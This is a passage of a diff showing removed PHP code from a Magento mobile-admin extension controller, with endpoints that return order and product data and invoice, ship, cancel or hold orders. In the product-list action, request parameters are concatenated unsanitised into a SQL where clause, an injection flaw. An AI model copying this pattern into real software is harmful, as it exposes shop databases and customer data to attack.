| 440 |
-
$shipping_address_data = array(
|
| 441 |
-
'name' => $shipping_address->getFirstname().' '.$shipping_address->getLastname(),
|
| 442 |
-
'street' => $shipping_address->getData('street'),
|
| 443 |
-
'city' => $shipping_address->getCity(),
|
| 444 |
-
'region' => $shipping_address->getRegion(),
|
| 445 |
-
'postcode' => $shipping_address->getPostcode(),
|
| 446 |
-
'country' => Mage::getModel('directory/country')->loadByCode($shipping_address->getCountryId())->getName(),
|
| 447 |
-
'telephone' => $shipping_address->getTelephone()
|
| 448 |
-
);
|
| 449 |
-
}
|
| 450 |
-
|
| 451 |
-
$payment_info = array(
|
| 452 |
-
'payment_method' => $order->getPayment()->getMethodInstance()->getTitle() // Include payment method to array
|
| 453 |
-
);
|
| 454 |
-
|
| 455 |
-
$shipping_info = array(
|
| 456 |
-
'shipping_method' => $order->getShippingDescription(), // Shipping methods also add
|
| 457 |
-
'shipping_charge' => Mage::helper('mobileadmin')->getPrice($order->getShippingAmount())
|
| 458 |
-
);
|
| 459 |
-
|
| 460 |
-
$products_detail = $this->_orderedAdminProductDetails($order_id); // get products detail by order id
|
| 461 |
-
|
| 462 |
-
$full_order_detail = array(
|
| 463 |
-
'basic_order_detail' => $order_detail,
|
| 464 |
-
'customer_detail' => $customer_detail,
|
| 465 |
-
'billing_address' => $billing_address_data, // Order and product detail in array
|
| 466 |
-
'shipping_address' => $shipping_address_data,
|
| 467 |
-
'payment_info' => $payment_info,
|
| 468 |
-
'shipping_info' => $shipping_info,
|
| 469 |
-
'product_detail' => $products_detail
|
| 470 |
-
);
|
| 471 |
-
$orderDetailResultArr = array('orderlistdata' => $full_order_detail); // make array of order list
|
| 472 |
-
//echo "<pre>"; print_r($orderDetailResultArr); die;
|
| 473 |
-
$orderDetailResult = Mage::helper('core')->jsonEncode($orderDetailResultArr);
|
| 474 |
-
return Mage::app()->getResponse()->setBody($orderDetailResult);
|
| 475 |
-
}else{
|
| 476 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 477 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 478 |
-
}
|
| 479 |
-
}
|
| 480 |
-
|
| 481 |
-
|
| 482 |
-
/******************************** Start Order Processing Part *****************************************/
|
| 483 |
-
|
| 484 |
-
public function AdminInvoiceOrderAction()
|
| 485 |
-
{
|
| 486 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 487 |
-
{
|
| 488 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 489 |
-
$sessionId = $post_data['session'];
|
| 490 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check session if not, will return false
|
| 491 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 492 |
-
return false;
|
| 493 |
-
}
|
| 494 |
-
$order = Mage::getModel("sales/order")->load($post_data['orderId']);
|
| 495 |
-
$result = array();
|
| 496 |
-
try
|
| 497 |
-
{
|
| 498 |
-
if($order->canInvoice())
|
| 499 |
-
{
|
| 500 |
-
$invoice = Mage::getModel('sales/service_order', $order)->prepareInvoice();
|
| 501 |
-
if($invoice->getTotalQty())
|
| 502 |
-
{
|
| 503 |
-
$invoice->setRequestedCaptureCase(Mage_Sales_Model_Order_Invoice::CAPTURE_OFFLINE);
|
| 504 |
-
$invoice->register();
|
| 505 |
-
|
| 506 |
-
if(!empty($post_data['send_email']))
|
| 507 |
-
{
|
| 508 |
-
$invoice->setEmailSent(true);
|
| 509 |
-
}
|
| 510 |
-
|
| 511 |
-
$invoice->getOrder()->setCustomerNoteNotify(!empty($post_data['send_email']));
|
| 512 |
-
$invoice->getOrder()->setIsInProcess(true);
|
| 513 |
-
|
| 514 |
-
$transactionSave = Mage::getModel('core/resource_transaction')
|
| 515 |
-
->addObject($invoice)
|
| 516 |
-
->addObject($invoice->getOrder());
|
| 517 |
-
|
| 518 |
-
$transactionSave->save();
|
| 519 |
-
$order->addStatusHistoryComment('Invoice was created from Mobile Admin Extension.', false);
|
| 520 |
-
$order->save();
|
| 521 |
-
$result['success'] = "Invoice Created";
|
| 522 |
-
|
| 523 |
-
$orderInvoiceResult = Mage::helper('core')->jsonEncode($result);
|
| 524 |
-
return Mage::app()->getResponse()->setBody($orderInvoiceResult);
|
| 525 |
-
}
|
| 526 |
-
else
|
| 527 |
-
{
|
| 528 |
-
$order->addStatusHistoryComment('Cannot create an invoice without products.', false);
|
| 529 |
-
$order->save();
|
| 530 |
-
$result['error'] = "Cannot create an invoice without products!";
|
| 531 |
-
|
| 532 |
-
$orderInvoiceResult = Mage::helper('core')->jsonEncode($result);
|
| 533 |
-
return Mage::app()->getResponse()->setBody($orderInvoiceResult);
|
| 534 |
-
}
|
| 535 |
-
}
|
| 536 |
-
else
|
| 537 |
-
{
|
| 538 |
-
$order->addStatusHistoryComment('Order cannot be invoiced.', false);
|
| 539 |
-
$order->save();
|
| 540 |
-
$result['error'] = "Cannot create an invoice!";
|
| 541 |
-
|
| 542 |
-
$orderInvoiceResult = Mage::helper('core')->jsonEncode($result);
|
| 543 |
-
return Mage::app()->getResponse()->setBody($orderInvoiceResult);
|
| 544 |
-
}
|
| 545 |
-
}
|
| 546 |
-
catch(Mage_Core_Exception $e)
|
| 547 |
-
{
|
| 548 |
-
$result['error'] = $e->getMessage();
|
| 549 |
-
|
| 550 |
-
$orderInvoiceResult = Mage::helper('core')->jsonEncode($result);
|
| 551 |
-
return Mage::app()->getResponse()->setBody($orderInvoiceResult);
|
| 552 |
-
}
|
| 553 |
-
}
|
| 554 |
-
else
|
| 555 |
-
{
|
| 556 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 557 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 558 |
-
}
|
| 559 |
-
}
|
| 560 |
-
|
| 561 |
-
public function AdminShipmentOrderAction()
|
| 562 |
-
{
|
| 563 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 564 |
-
{
|
| 565 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 566 |
-
$sessionId = $post_data['session'];
|
| 567 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check session if not, will return false
|
| 568 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 569 |
-
return false;
|
| 570 |
-
}
|
| 571 |
-
$order = Mage::getModel('sales/order')->load($post_data['orderId']);
|
| 572 |
-
|
| 573 |
-
if($order->canShip())
|
| 574 |
-
{
|
| 575 |
-
$shipment = new Mage_Sales_Model_Order_Shipment_Api();
|
| 576 |
-
$shipmentId = $shipment->create($order->getIncrementId());
|
| 577 |
-
|
| 578 |
-
// mail customer
|
| 579 |
-
if($post_data['is_mail'] == 1)
|
| 580 |
-
{
|
| 581 |
-
$shipment->sendInfo($shipmentId);
|
| 582 |
-
// $shipment->setEmailSent($invoice->getEmailSent());
|
| 583 |
-
}
|
| 584 |
-
|
| 585 |
-
$result['success'] = "Shipment have been created.";
|
| 586 |
-
|
| 587 |
-
$orderShipmentResult = Mage::helper('core')->jsonEncode($result);
|
| 588 |
-
return Mage::app()->getResponse()->setBody($orderShipmentResult);
|
| 589 |
-
}
|
| 590 |
-
else
|
| 591 |
-
{
|
| 592 |
-
$result['error'] = "Current order cannot be shipped!";
|
| 593 |
-
|
| 594 |
-
$orderShipmentResult = Mage::helper('core')->jsonEncode($result);
|
| 595 |
-
return Mage::app()->getResponse()->setBody($orderShipmentResult);
|
| 596 |
-
}
|
| 597 |
-
}
|
| 598 |
-
else
|
| 599 |
-
{
|
| 600 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 601 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 602 |
-
}
|
| 603 |
-
}
|
| 604 |
-
|
| 605 |
-
public function AdminCancelOrderAction()
|
| 606 |
-
{
|
| 607 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 608 |
-
{
|
| 609 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 610 |
-
$sessionId = $post_data['session'];
|
| 611 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check session if not, will return false
|
| 612 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 613 |
-
return false;
|
| 614 |
-
}
|
| 615 |
-
|
| 616 |
-
$order = Mage::getModel('sales/order')->load($post_data['orderId']);
|
| 617 |
-
if($order->canCancel())
|
| 618 |
-
{
|
| 619 |
-
$order->cancel();
|
| 620 |
-
$order->addStatusHistoryComment('Order was canceled by Mobile Admin Extension', false);
|
| 621 |
-
$order->save();
|
| 622 |
-
$result['success'] = "The order has been canceled";
|
| 623 |
-
|
| 624 |
-
$orderCancelResult = Mage::helper('core')->jsonEncode($result);
|
| 625 |
-
return Mage::app()->getResponse()->setBody($orderCancelResult);
|
| 626 |
-
}
|
| 627 |
-
else
|
| 628 |
-
{
|
| 629 |
-
$order->addStatusHistoryComment('Order cannot be canceled', false);
|
| 630 |
-
$order->save();
|
| 631 |
-
$result['error'] = "Current order cannot be canceled!";
|
| 632 |
-
|
| 633 |
-
$orderCancelResult = Mage::helper('core')->jsonEncode($result);
|
| 634 |
-
return Mage::app()->getResponse()->setBody($orderCancelResult);
|
| 635 |
-
}
|
| 636 |
-
}
|
| 637 |
-
else
|
| 638 |
-
{
|
| 639 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 640 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 641 |
-
}
|
| 642 |
-
}
|
| 643 |
-
|
| 644 |
-
public function AdminHoldOrderAction()
|
| 645 |
-
{
|
| 646 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 647 |
-
{
|
| 648 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 649 |
-
$sessionId = $post_data['session'];
|
| 650 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check session if not, will return false
|
| 651 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 652 |
-
return false;
|
| 653 |
-
}
|
| 654 |
-
//$post_data = Mage::app()->getRequest()->getParams();
|
| 655 |
-
$order = Mage::getModel('sales/order')->load($post_data['orderId']);
|
| 656 |
-
if($order->canHold())
|
| 657 |
-
{
|
| 658 |
-
$order->hold();
|
| 659 |
-
$order->addStatusHistoryComment('Order was holded by Mobile Admin Extension', false);
|
| 660 |
-
$order->save();
|
| 661 |
-
$result['success'] = "The Order Has Been holded.";
|
| 662 |
-
|
| 663 |
-
$orderHoldResult = Mage::helper('core')->jsonEncode($result);
|
| 664 |
-
return Mage::app()->getResponse()->setBody($orderHoldResult);
|
| 665 |
-
}
|
| 666 |
-
else
|
| 667 |
-
{
|
| 668 |
-
$order->addStatusHistoryComment('Order cannot be holded', false);
|
| 669 |
-
$order->save();
|
| 670 |
-
$result['error'] = "Current order cannot be holded!";
|
| 671 |
-
|
| 672 |
-
$orderHoldResult = Mage::helper('core')->jsonEncode($result);
|
| 673 |
-
return Mage::app()->getResponse()->setBody($orderHoldResult);
|
| 674 |
-
}
|
| 675 |
-
}
|
| 676 |
-
else
|
| 677 |
-
{
|
| 678 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 679 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 680 |
-
}
|
| 681 |
-
}
|
| 682 |
-
|
| 683 |
-
public function AdminUnholdOrderAction()
|
| 684 |
-
{
|
| 685 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 686 |
-
{
|
| 687 |
-
$post_data = Mage::app()->getRequest()->getParams();
|
| 688 |
-
$sessionId = $post_data['session'];
|
| 689 |
-
if (!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) { // check session if not, will return false
|
| 690 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 691 |
-
return false;
|
| 692 |
-
}
|
| 693 |
-
// $post_data = Mage::app()->getRequest()->getParams();
|
| 694 |
-
$order = Mage::getModel('sales/order')->load($post_data['orderId']);
|
| 695 |
-
if($order->canUnhold())
|
| 696 |
-
{
|
| 697 |
-
$order->unhold();
|
| 698 |
-
$order->addStatusHistoryComment('Order was unholded by Mobile Admin Extension', false);
|
| 699 |
-
$order->save();
|
| 700 |
-
$result['success'] = "The Order Has Been unholded.";
|
| 701 |
-
|
| 702 |
-
$orderUnHoldResult = Mage::helper('core')->jsonEncode($result);
|
| 703 |
-
return Mage::app()->getResponse()->setBody($orderUnHoldResult);
|
| 704 |
-
}
|
| 705 |
-
else
|
| 706 |
-
{
|
| 707 |
-
$order->addStatusHistoryComment('Order cannot be unholded', false);
|
| 708 |
-
$order->save();
|
| 709 |
-
$result['error'] = "Current order cannot be unholded!";
|
| 710 |
-
|
| 711 |
-
$orderUnHoldResult = Mage::helper('core')->jsonEncode($result);
|
| 712 |
-
return Mage::app()->getResponse()->setBody($orderUnHoldResult);
|
| 713 |
-
}
|
| 714 |
-
}
|
| 715 |
-
else
|
| 716 |
-
{
|
| 717 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 718 |
-
return Mage::app()->getResponse()->setBody($isEnable); // set body with json format
|
| 719 |
-
}
|
| 720 |
-
}
|
| 721 |
-
|
| 722 |
-
public function AdminCheckOrderShipAndInvoiceAction()
|
| 723 |
-
{
|
| 724 |
-
if(Mage::helper('mobileadmin')->isEnable())
|
| 725 |
-
{
|
| 726 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get data from post method
|
| 727 |
-
$sessionId = $post_data['session'];
|
| 728 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if session expired return access denied
|
| 729 |
-
{
|
| 730 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 731 |
-
return false;
|
| 732 |
-
}
|
| 733 |
-
|
| 734 |
-
$OrderID = $post_data['orderId'];
|
| 735 |
-
|
| 736 |
-
$status = array();
|
| 737 |
-
$order = Mage::getModel('sales/order')->load($OrderID);
|
| 738 |
-
|
| 739 |
-
if($order->hasShipments() && $order->hasInvoices())
|
| 740 |
-
{
|
| 741 |
-
$status['status'] = "Both Done";
|
| 742 |
-
}
|
| 743 |
-
else if($order->hasShipments())
|
| 744 |
-
{
|
| 745 |
-
$status['status'] = "Shipment Done";
|
| 746 |
-
}
|
| 747 |
-
else if($order->hasInvoices())
|
| 748 |
-
{
|
| 749 |
-
$status['status'] = "Invoice Done";
|
| 750 |
-
}
|
| 751 |
-
else if($order->isCanceled())
|
| 752 |
-
{
|
| 753 |
-
$status['status'] = "Canceled";
|
| 754 |
-
}
|
| 755 |
-
else if(!$order->canHold())
|
| 756 |
-
{
|
| 757 |
-
$status['status'] = "On Hold";
|
| 758 |
-
}
|
| 759 |
-
else
|
| 760 |
-
{
|
| 761 |
-
$status['status'] = "Both Not Done";
|
| 762 |
-
}
|
| 763 |
-
//echo "<pre>"; print_r(get_class_methods($order));
|
| 764 |
-
$orderChkResult = Mage::helper('core')->jsonEncode($status);
|
| 765 |
-
return Mage::app()->getResponse()->setBody($orderChkResult);
|
| 766 |
-
}
|
| 767 |
-
else
|
| 768 |
-
{
|
| 769 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 770 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 771 |
-
}
|
| 772 |
-
}
|
| 773 |
-
|
| 774 |
-
|
| 775 |
-
/******************************** End Order Processing Part *****************************************/
|
| 776 |
-
|
| 777 |
-
|
| 778 |
-
/*
|
| 779 |
-
* Protected function use in another function according to order id
|
| 780 |
-
* It will return order detail by order id
|
| 781 |
-
*/
|
| 782 |
-
protected function _orderedAdminProductDetails($order_id)
|
| 783 |
-
{
|
| 784 |
-
$order = Mage::getModel('sales/order')->load($order_id); // load order according to order id
|
| 785 |
-
foreach ($order->getItemsCollection() as $item)
|
| 786 |
-
{
|
| 787 |
-
$options = $item->getProductOptions();
|
| 788 |
-
if($item->getProductType() == "downloadable")
|
| 789 |
-
{
|
| 790 |
-
$obj = new Mage_Downloadable_Block_Adminhtml_Sales_Items_Column_Downloadable_Name();
|
| 791 |
-
foreach($options['links'] as $links)
|
| 792 |
-
{
|
| 793 |
-
|
| 794 |
-
$this->_purchased = Mage::getModel('downloadable/link_purchased')
|
| 795 |
-
->load($order_id, 'order_id');
|
| 796 |
-
$purchasedItem = Mage::getModel('downloadable/link_purchased_item')->getCollection() // downloadable products collection
|
| 797 |
-
->addFieldToFilter('order_item_id', $item->getId());
|
| 798 |
-
$this->_purchased->setPurchasedItems($purchasedItem);
|
| 799 |
-
|
| 800 |
-
foreach ($this->_purchased->getPurchasedItems() as $_link)
|
| 801 |
-
{
|
| 802 |
-
$links_value[] = $_link->getLinkTitle().'('. $_link->getNumberOfDownloadsUsed() . ' / ' . ($_link->getNumberOfDownloadsBought() ? $_link->getNumberOfDownloadsBought() : Mage::helper('downloadable')->__('U')) .')';
|
| 803 |
-
}
|
| 804 |
-
|
| 805 |
-
$info = array(array(
|
| 806 |
-
'label' => $obj->getLinksTitle(),
|
| 807 |
-
'value' => implode(',',$links_value)
|
| 808 |
-
));
|
| 809 |
-
}
|
| 810 |
-
}
|
| 811 |
-
else
|
| 812 |
-
{
|
| 813 |
-
$result = array();
|
| 814 |
-
if ($options = $item->getProductOptions()) {
|
| 815 |
-
if (isset($options['options'])) {
|
| 816 |
-
$result = array_merge($result, $options['options']);
|
| 817 |
-
}
|
| 818 |
-
if (isset($options['additional_options'])) {
|
| 819 |
-
$result = array_merge($result, $options['additional_options']);
|
| 820 |
-
}
|
| 821 |
-
if (!empty($options['attributes_info'])) {
|
| 822 |
-
$result = array_merge($options['attributes_info'], $result);
|
| 823 |
-
}
|
| 824 |
-
}
|
| 825 |
-
|
| 826 |
-
$info = array();
|
| 827 |
-
if($result)
|
| 828 |
-
{
|
| 829 |
-
foreach ($result as $_option){ // label and value
|
| 830 |
-
$info[] = array(
|
| 831 |
-
'label' => $_option['label'],
|
| 832 |
-
'value' => $_option['value']
|
| 833 |
-
);
|
| 834 |
-
}
|
| 835 |
-
}
|
| 836 |
-
}
|
| 837 |
-
$skus = '';
|
| 838 |
-
$product = Mage::getModel('catalog/product')->load($item->getProductId()); // load product collection
|
| 839 |
-
|
| 840 |
-
if($item->getParentItem()) continue;
|
| 841 |
-
|
| 842 |
-
if($_options = $this->_getAdminItemOptions($item))
|
| 843 |
-
{
|
| 844 |
-
$skus = $_options;
|
| 845 |
-
}
|
| 846 |
-
$products_detail[] = array(
|
| 847 |
-
'product_id' => $item->getProductId(),
|
| 848 |
-
'name' => $item->getName(),
|
| 849 |
-
'sku' => $item->getSku(),
|
| 850 |
-
'unit_price' => Mage::helper('mobileadmin')->getPrice($item->getOriginalPrice()),
|
| 851 |
-
'ordered_qty' => round($item->getQtyOrdered(), 2),
|
| 852 |
-
'row_total' => Mage::helper('mobileadmin')->getPrice($item->getRowTotal()),
|
| 853 |
-
'options' => $skus ? $skus : '',
|
| 854 |
-
'image' => ($product->getImage())?Mage::helper('catalog/image')->init($product, 'image',$product->getImage())->resize(300,330)->keepAspectRatio(true)->constrainOnly(true)->__toString():'N/A',
|
| 855 |
-
'attribute_info' => $info ? $info : ''
|
| 856 |
-
);
|
| 857 |
-
}
|
| 858 |
-
return $products_detail;
|
| 859 |
-
}
|
| 860 |
-
|
| 861 |
-
/* Private function using another function
|
| 862 |
-
* It will return product SKU's according to item ID
|
| 863 |
-
*/
|
| 864 |
-
private function _getAdminItemOptions($item)
|
| 865 |
-
{
|
| 866 |
-
$id = array('id' => $item->getItemId()); // get item id by products items
|
| 867 |
-
$order_items = Mage::getModel('sales/order_item')->getCollection()->addFieldToFilter('parent_item_id',Array('eq'=>$id)); // sales order
|
| 868 |
-
foreach($order_items as $order_item)
|
| 869 |
-
{
|
| 870 |
-
$product_data = Mage::getModel('catalog/product')->load($order_item->getProductId());
|
| 871 |
-
$skus[] = $product_data->getSku();
|
| 872 |
-
}
|
| 873 |
-
return $skus; //return SKU's
|
| 874 |
-
}
|
| 875 |
-
|
| 876 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/adminproductlist // pass parameter like this after adminproductlist from this URL ?session=sdfsdf
|
| 877 |
-
* required parameter: @ session , limit , See $post_data variable
|
| 878 |
-
*/
|
| 879 |
-
public function AdminProductListAction()
|
| 880 |
-
{
|
| 881 |
-
if(Mage::helper('mobileadmin')->isEnable())
|
| 882 |
-
{
|
| 883 |
-
$post_data = Mage::app()->getRequest()->getParams(); // get data from post method
|
| 884 |
-
$sessionId = $post_data['session'];
|
| 885 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if session expired return access denied
|
| 886 |
-
{
|
| 887 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 888 |
-
return false;
|
| 889 |
-
}
|
| 890 |
-
$storeId = $post_data['storeid'];
|
| 891 |
-
$limit = $post_data['limit']; // Pass parameter according to post method pass
|
| 892 |
-
$page = $post_data['page_num'];
|
| 893 |
-
$offset = $post_data['offset'];
|
| 894 |
-
$new_products = $post_data['last_fetch_product'];
|
| 895 |
-
$is_refresh = $post_data['is_refresh'];
|
| 896 |
-
|
| 897 |
-
$products = Mage::getModel('catalog/product')->getCollection()->addStoreFilter($storeId)->setOrder('entity_id', 'desc');
|
| 898 |
-
|
| 899 |
-
$before_coll = count(Mage::getModel('catalog/product')->getCollection()->addStoreFilter($storeId)->setOrder('entity_id', 'desc')); //echo $before_coll; die;
|
| 900 |
-
|
| 901 |
-
if(isset($post_data['offset']))
|
| 902 |
-
{
|
| 903 |
-
$products->addAttributeToFilter('entity_id', array('lt' => $post_data['offset'])); // lt means less then
|
| 904 |
-
}
|
| 905 |
-
|
| 906 |
-
if($is_refresh == 1) // When you pull dowm your ios app it will be refresh according to last updated time
|
| 907 |
-
{
|
| 908 |
-
$last_fetch_product = $post_data['last_fetch_product'];
|
| 909 |
-
$min_fetch_product = $post_data['min_fetch_product'];
|
| 910 |
-
$last_updated = $post_data['last_updated'];
|
| 911 |
-
$products->getSelect()->where("(entity_id BETWEEN '".$min_fetch_product."'AND '".$last_fetch_product ."' AND updated_at > '".$last_updated."') OR entity_id >'".$last_fetch_product."'");
|
| 912 |
-
}
|
| 913 |
-
|
| 914 |
-
//$products->getSelect()->limit($limit); // define limit how many show items in your page
|
| 915 |
-
|
| 916 |
-
if(isset($page) && $limit)
|
| 917 |
-
{
|
| 918 |
-
//echo $page."**".$limit; die;
|
| 919 |
-
$products->setPage($page,$limit);
|
| 920 |
-
$products->setPageSize($limit);
|
| 921 |
-
}
|
| 922 |
-
|
| 923 |
-
$totl_rocrd = round($before_coll/$limit); //echo $totl_rocrd; die;
|
| 924 |
-
|
| 925 |
-
$i = ($page - 1)*$limit;
|
| 926 |
-
foreach($products as $product) // make array of products detail
|
| 927 |
-
{
|
| 928 |
-
if($i < $before_coll)
|
| 929 |
-
{
|
| 930 |
-
$product_data = Mage::getModel('catalog/product')->load($product->getId()); // load product according to product id
|
| 931 |
-
$status = $product_data->getStatus(); // get product status
|
| 932 |
-
$qty = Mage::getModel('cataloginventory/stock_item')->loadByProduct($product_data)->getQty(); // get Quantity
|
| 933 |
-
if($status == 1)
|
| 934 |
-
{
|
| 935 |
-
$status = 'Enabled';}else{$status = 'Disabled';
|
| 936 |
-
}
|
| 937 |
-
if($qty == 0 || $product_data->getIsInStock() == 0)
|
| 938 |
-
{
|
| 939 |
-
$qty = 'Out of Stock';
|
| 940 |
-
}
|
| 941 |
-
$product_list[] = array(
|
| 942 |
-
'id' => $product->getId(), // products list array
|
| 943 |
-
'sku' => $product_data->getSku(),
|
| 944 |
-
'name' => $product_data->getName(),
|
| 945 |
-
'status' => $status,
|
| 946 |
-
'qty' => $qty,
|
| 947 |
-
'price' => Mage::helper('mobileadmin')->getPrice($product_data->getPrice()),
|
| 948 |
-
'image' => ($product_data->getImage())?Mage::helper('catalog/image')->init($product, 'image',$product_data->getImage())->resize(300,330)->keepAspectRatio(true)->constrainOnly(true)->__toString():'N/A',
|
| 949 |
-
'type' => $product->getTypeId()
|
| 950 |
-
);
|
| 951 |
-
$i++;
|
| 952 |
-
}
|
| 953 |
-
}
|
| 954 |
-
$updated_time = date("Y-m-d H:i:s", Mage::getModel('core/date')->timestamp(time())); // last item updated time
|
| 955 |
-
$productResultArr = array('productlistdata' => $product_list,'updated_time' =>$updated_time,'total_record'=>$totl_rocrd);
|
| 956 |
-
//echo "<pre>"; print_r($productResultArr); die;
|
| 957 |
-
$productListResult = Mage::helper('core')->jsonEncode($productResultArr);
|
| 958 |
-
return Mage::app()->getResponse()->setBody($productListResult);
|
| 959 |
-
}
|
| 960 |
-
else
|
| 961 |
-
{
|
| 962 |
-
$isEnable = Mage::helper('core')->jsonEncode(array('enable' => false));
|
| 963 |
-
return Mage::app()->getResponse()->setBody($isEnable);
|
| 964 |
-
}
|
| 965 |
-
}
|
| 966 |
-
|
| 967 |
-
/* If you want to check function is working perfect or not please direct hit this URL on your browser: YOUR WEB BASE URL/emizenstore/mobileadmin/index/adminproductdetail // pass parameter like this after adminproductdetail from this URL ?session=sdfsdf
|
| 968 |
-
* required parameter: @ session , productid , See $post_data variable
|
| 969 |
-
*/
|
| 970 |
-
public function AdminProductDetailAction()
|
| 971 |
-
{
|
| 972 |
-
if(Mage::helper('mobileadmin')->isEnable()) // check extension if enabled or not
|
| 973 |
-
{
|
| 974 |
-
$post_data = Mage::app()->getRequest()->getParams(); // parameter of array which is sending by URL
|
| 975 |
-
$sessionId = $post_data['session']; // session id
|
| 976 |
-
if(!Mage::getSingleton('api/session')->isLoggedIn($sessionId)) // if exists session id return true otherwise return false
|
| 977 |
-
{
|
| 978 |
-
echo $this->__("The Login has expired. Please try log in again.");
|
| 979 |
-
return false;
|
| 980 |
-
}
|
| 981 |
-
try
|
| 982 |
-
{
|
| 983 |
-
$storeId = $post_data['storeid']; // store id
|
| 984 |
-
$productId = $post_data['productid']; // product id
|
| 985 |
-
$product_data = Mage::getModel('catalog/product')->load($productId); // load product by product id
|
| 986 |
-
$status = $product_data->getStatus(); // get product status
|
| 987 |
-
$qty = Mage::getModel('cataloginventory/stock_item')->loadByProduct($product_data)->getQty(); // get Quantity
|
| 988 |
-
|
| 989 |
-
if($status == 1) // if status 1 return Enabled Otherwise return Disabled
|
| 990 |
-
{
|
| 991 |
-
$status = 'Enabled';
|
| 992 |
-
}
|
| 993 |
-
else
|
| 994 |
-
{
|
| 995 |
-
$status = 'Disabled';
|
| 996 |
-
}
|
| 997 |
-
|
| 998 |
-
if($product_data->getTypeId() == 'grouped') // if product type is grouped, load product type of grouped
|
| 999 |
-
{
|
| 1000 |
-
$associated_products = $product_data->getTypeInstance(true)->getAssociatedProducts($product_data);
|
| 1001 |
-
}
|
| 1002 |
-
elseif($product_data->getTypeId() == 'configurable') // if product type is configurable, load product type of configurable
|
| 1003 |
-
{
|
| 1004 |
-
|
| 1005 |
-
$associated_products = $product_data->getTypeInstance()->getUsedProducts();
|
| 1006 |
-
|
| 1007 |
-
}elseif($product_data->getTypeId() == 'bundle') // if product type is bundle, load product type of bundle
|
| 1008 |
-
{
|
| 1009 |
-
$associated_products = $product_data->getTypeInstance(true)->getSelectionsCollection($product_data->getTypeInstance(true)->getOptionsIds($product_data), $product_data);
|
| 1010 |
-
}
|
| 1011 |
-
foreach($associated_products as $associated_product) // make products detail array
|
| 1012 |
-
{
|
| 1013 |
-
$status = $associated_product->getStatus(); // product status
|
| 1014 |
-
$qty = Mage::getModel('cataloginventory/stock_item')->loadByProduct($associated_product)->getQty(); // Quantity
|
| 1015 |
-
|
| 1016 |
-
if($status == 1) // if status 1 return Enabled otherwise disabled
|
| 1017 |
-
{
|
| 1018 |
-
$status = 'Enabled';
|
| 1019 |
-
}
|
| 1020 |
-
else
|
| 1021 |
-
{
|
| 1022 |
-
$status = 'Disabled';
|
| 1023 |
-
}
|
| 1024 |
-
|
| 1025 |
-
if($qty == 0 || $associated_product->getIsInStock() == 0) // if qty 0 return out of stock products
|
| 1026 |
-
{
|
| 1027 |
-
$qty = 'Out of Stock';
|
| 1028 |
-
}
|
| 1029 |
-
|
| 1030 |
-
$associated_products_details[] = array( // associated products array of product
|
| 1031 |
-
'id' => $associated_product->getId(),
|
| 1032 |
-
'sku' => $associated_product->getSku()
|
| 1033 |
-
);
|
| 1034 |
-
|
| 1035 |
-
$associated_products_list[] = array( // associated products array with other key of product
|
| 1036 |
-
'id' => $associated_product->getId(),
|
| 1037 |
-
'sku' => $associated_product->getSku(),
|
| 1038 |
-
'name' => $associated_product->getName(),
|
| 1039 |
-
'status' => $status,
|
| 1040 |
-
'qty' => $qty,
|
| 1041 |
-
'price' => Mage::helper('mobileadmin')->getPrice($associated_product->getPrice())
|
| 1042 |
-
);
|
| 1043 |
-
}
|
| 1044 |
-
$product_details[] = array( // products detail array
|
| 1045 |
-
'id' => $product_data->getId(),
|
| 1046 |
-
'sku' => $product_data->getSku(),
|
| 1047 |
-
'name' => $product_data->getName(),
|
| 1048 |
-
'status' => $status,
|
| 1049 |
-
'qty' => $qty,
|
| 1050 |
-
'price' => Mage::helper('mobileadmin')->getPrice($product_data->getPrice()),
|
| 1051 |
-
'desc' => $product_data->getDescription(),
|
| 1052 |
-
'type' => $product_data->getTypeId(),
|
| 1053 |
-
'image' => Mage::getModel('catalog/product_media_config')->getMediaUrl($product_data->getImage()),
|
| 1054 |
-
'special_price' => Mage::helper('mobileadmin')->getPrice($product_data->getSpecialPrice()),
|
| 1055 |
-
